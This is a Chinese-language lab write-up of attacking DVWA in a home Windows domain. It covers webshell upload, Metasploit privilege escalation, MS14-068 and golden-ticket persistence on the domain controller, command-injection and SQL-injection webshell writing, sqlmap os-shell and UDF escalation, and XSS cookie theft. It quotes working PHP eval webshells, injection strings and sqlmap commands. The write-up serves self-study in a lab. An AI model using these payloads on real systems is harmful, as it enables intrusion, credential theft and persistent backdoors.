环境:
域控:winser 08
域靶机:win xp,win 7 (dvwa装在win7)
攻击机:win10,kali2020
不知从哪里提权开始,那就从文件上传吧。
突然,兴趣来了,靶机来了nessus扫描后,环境漏洞太多,找时间复制下面的漏洞。
文件上传漏洞提权:
思路:如果文件上传有漏洞,上传木马,用菜刀连接,输入后门,结合msf持久渗透。
孰能生巧,那就从简单的开始。
等级:low
写入一句话<?php @eval($_REQUEST[‘xy’]) ?> 上传
文件上传成功,菜刀连接。
这里应该有几种方式。
连接成功,检查域控是否存在,菜刀虚拟终端 ipconfig /all,可以看到在test.com在这个域中,首先要提这个靶机的权利,msf生成payload,菜刀上传。
上传木马后,终端执行木马,start backdoor.exe
msf回显,开始提权。
Getsystem试着提权失败,回来msf,用bypassuac任何试图提高权利的人。
我这里选bypassuac_eventvwr,设置参数
第一次尝试提权失败,想了想,没有过程迁移,回来了meterpreter 进程迁移选 explorer.exe,输出稳定,过程迁移有一个很好的出口,即使木马被关闭,也可以持续连接。
再试一次提权,还是失败了,看了错误的报告 木马产生了错误,选择了错误的结构,一次。
经过多次尝试或报错,可能是环境问题。在这里,我们用模块检测靶机是否存在ms17-010 永恒的蓝色漏洞,因为没有端口检测,不知道445、139端口是否打开,这里盲目猜测检测,假装欧洲皇帝,你可以看到漏洞的存在。
连接成功现在有三种方式可以提高会话。
- Session -u id
- 设置payload
- Python -c “import pty;pty.spawn(‘/bin/bash’)”
好的连接成功了,现在权限提升都省了。
进程迁移,后渗透攻击,后门持久。
Msf有run persistence
现在可以提权域控了
Mimikatz和ms14-068:
信息收集:
进入shell域控提权。
首先上传mimikatz和ms14-068到靶机。生成票据并注入。Ms14-068 msf这里有检测模块省略检测环节。
要生成票据,首先要清空票据,kali 语句没问题,报错了,windows不,以后再看问题。
注入票据,注入成功,尝试连接域控。
如果提权成功,域控可以开始操作。
开始上传域控后门。
Xcopy shell.exe \\domaincontroller\c$
成功上传后门,开始关闭防火墙,加载后门。
服务创建成功,那么现在应该开启服务了。
Sc \\domain controller\ start services
可以看到防火墙已经关闭,现在开始msf连接后门
Msf方法:
加载kiwi,hashdump查看用户账户
Krbtgt:后半部分也就是nt-hash部分,但是kali里面的要切换到普通用户,
黄金票据生成成功,注入票据
黄金票据注入成功就相当于植入了个后门。
且krbtgt 有效时间长,可以稳定的不被发现的作为一个持续化的后门。
总结:在msf操作相对于mimikatz来说方便很多,但是mimikatz对于整个流程的理解更为详细。
等级:medium
等级中只是用bp修改了抓包参数,菜刀连接步骤就一样了。
等级:high
等级高上传为图片马,由于图片马跟菜刀的连接会有问题,所以在这里,复现一下。
琢磨了好久,为什么图片马上传了菜刀却连接不上,在这里,看到一篇文章的解释说图片马是没办法解析连接的,那这里假如有命令注入漏洞或者其他可以远程执行代码的漏洞的话,可以把图片马格式更改,改为php,再用菜刀连接,就可以连的上了,可以说图片马是一个后门了把,但是有触发条件。更改格式我自己试过了,是可以连接上的。我感觉我的思路有点局限,应该有更好的方式。
我在靶机里更改了,作为一种尝试。
上木马,虚拟终端开启木马,msf连接。
昨天尝试本地提权失败,所以我去网上找了招本地提权漏洞的cve编号,不一定得bypassuac提权,今天用CVE-2018-8120 提权。
可以看到提权成功。
那么接下来就是加载后门,并开始进行域的渗透。
收集域相关信息:
Ms14-068生成ptc票据
Mimikatz注入票据
注入成功,尝试访问域控
访问成功,那么可以开始上传木马并关闭防火墙,运行木马,再生成黄金票据获得控制权。这里不再赘述了。
命令执行漏洞:
思路:之前自学的时候并没有想的这么深,想去提权啊啥的,那这里提权,可以执行命令的话,尝试写入一个php文件,还是用菜刀连接。命令执行,三个等级没什么取别就不分开实现了,直接搞。
查看当前目录,尝试写入一个文件。
127.0.0.1|echo "<?php @eval($_POST['xy']); ?>" > ci.php
可以看到写入成功,拼接出目录上菜刀。
连接成功开始上木马,提权,这里域渗透想用empire+deathstart,所以在这里复现下,刚好再熟悉一遍之前所学,至于什么奇淫技巧我还是不大懂的,努力学习中。
Empire生成木马
- 设置监听器
- 使用payload
- 生成木马
上木马,执行木马。
监听到靶机,查看基本信息,先改名,再interact 靶机,可以选择进行会话迁移到msf。
由于empire提权失败,所以迁移到msf进行提权,根据之前的情况应该是环境问题导致提权失败,换msf可以解决这个问题。
失败了失败了,多方尝试,提权不了。还是转到msf继续渗透把。
连接成功了,后面就不过多赘述了。
Sql注入提权:
sql注入提权的条件:
① secure_file_priv不为null且具有root权限
- 限制mysqld 不允许导入 | 导出 secure_file_priv=null或secure_file_priv
- 限制mysqld 的导入 | 导出 只能发生在/tmp/目录下 secure_file_priv=/tmp/
- 不对mysqld 的导入 | 导出做限制 secure_file_priv=
②当secure_file_priv为NULL时的利用方法
set global general_log=on;set global general_log_file='C:/users/ilu.test/desktop/phpStudy/WWW/789.php';select '<?php eval($_POST['a']) ?>';
Show variables like ‘%secure%’
③sqlmap读写
1、--file-read "路径"
2、--file-write "要写入的内容或所在文件路径" --file-dest "要写入的路径"
基于命令写入和读取文件:
写入文件:
‘union select 1,’<?php @eval($_POST["pass"]) ?>’ into outfile ‘C:/xampp/htdocs/dvwa/1.php‘
读取文件:
'union select 1,load_file("D:\\1.txt"),3%23
注意点:[“”]中括号里面得用双引号
\ 反斜杠要转义才可以写入成功 (亲测这个好用)
'unionselect 1,'<?php @eval($_POST["xy"]); ?>' into outfile 'C:\\Users\\ilu.TEST\\Desktop\\phpStudy\\WWW\\DVWA-1.9\\vulnerabilities\\sqli\\1.php' -- +
/ 正斜杠不用转义就可以写入成功
' union select 1,'<?php @eval($_POST["xy"]); ?>' into outfile 'c:/users/ilu.test/desktop/1.php' -- +
Sqlmap --os-shell:
条件:
- 网站必须是root权限(2)攻击者需要知道网站的绝对路径(3)GPC为off,php主动转义的功能关闭
经过整理初步的信息整理,下面开始正经的提权了。
①:命令写入
获取基本安装路经:@@basedir
获取数据库目录路径:@@datadir
开始写入文件:' union select 1,'<?php @eval($_POST["xy"]); ?>' into outfile 'C:\\Users\\ilu.TEST\\Desktop\\phpStudy\\WWW\\DVWA-1.9\\vulnerabilities\\sqli\\2.php' -- +
不多赘述。
②--os-shell:
查看是否是管理员:--is-dba
可以看到是管理员,否则无法使用--os-shell
查看当前用户:--current-user
查看gpc是否关闭
获取当前路径:@@basedir 这里用命令执行漏洞查看了chdir
终于可以,phpstudy环境有问题把,这里转到xampp尝试。
千方百计的搭环境就为了试成功,太感人了。
python sqlmap.py -u "192.168.37.137/DVWA/vulnerabilities/sqli/" --cookie="security=low; PHPSESSID=hemck8ga39jp28nr5pgirdplb6" --os-shell --data="id=1&Submit=Submit"
可以看到已经可以正常查询了,这个实现os-shell真的很苛刻。
可以看到并不是管理员权限嗷,准备提权。
写入shell,菜刀连接。
连接成功,上木马。不多赘述。
这里我有点好奇他是通过什么方式获取到信息的,这里我抓了下包。
我看到他是通过tmpbusjk.php下的cmd访问得到。
那同样的我写入一个可以访问cmd的shell是不是就可以跳过这一步了,我想应该是的把。
那这里我重命名一下这个文件浏览器访问试试。
看来没错的是可以的,这个后续的编程我再学学,因垂丝汀。
③udf提权:(userdefined function)
提权条件:
1.Mysql > 5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
2.Mysql < 5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目 录,在windows server 2000下放置在c:\winnt\system32目录.
3.拥有可以将udf.dll写入相应目录的权限
Sqlmap udf目录位置:
可以看到是32位的,那这里就用udf.dll 32位的注入。
Sqlmap 里面的udf.dll 加密了,先解密。
解密文件位置:D:\sqlmap\extra\cloak\cloak.py
已经解压得到udf.dll,复制到mysql里的lib\plugin文件夹里。
Sqlmap 写入文件。
python sqlmap.py -u "192.168.37.137/DVWA/vulnerabilities/sqli/" --cookie="security=low; PHPSESSID=hemck8ga39jp28nr5pgirdplb6" --data="id=1&Submit=Submit" --file-write "D:\\sqlmap\\udf.dll" --file-dest "c:\\xampp\\mysql\\lib\\plugin\\udf.dll"
文件夹不存在就创建一个。
为了看些udf.dll的作用,用进制编辑器打开了这个,发现了里面的 函数。
安装udf.dll create function function_name returns string soname ‘udf.dll’;
验证是否安装成功,这里可以看到是有的。
执行命令看看。 select sys_eval(‘ipconfig /all’);
执行成功,但是看起来并没有拿到管理员权限,可以开始写入shell,进行进一步的提权了。
感觉这个太麻烦了,限制也比较多,但是吧,挖出这样漏洞的前辈太强了吧。向大佬看齐。
Xss获取cookie登入后台:
把php上传至服务器。
Xss插入远程执行的脚本
点击
跳转了,看看服务器是否生成文件。
这个虽然获取了cookie,用插件修改了cookie,但是好像登入后台有点问题。
如果这篇文章对你有帮助的话,欢迎在“码上优学”小程序上继续学习更多it知识!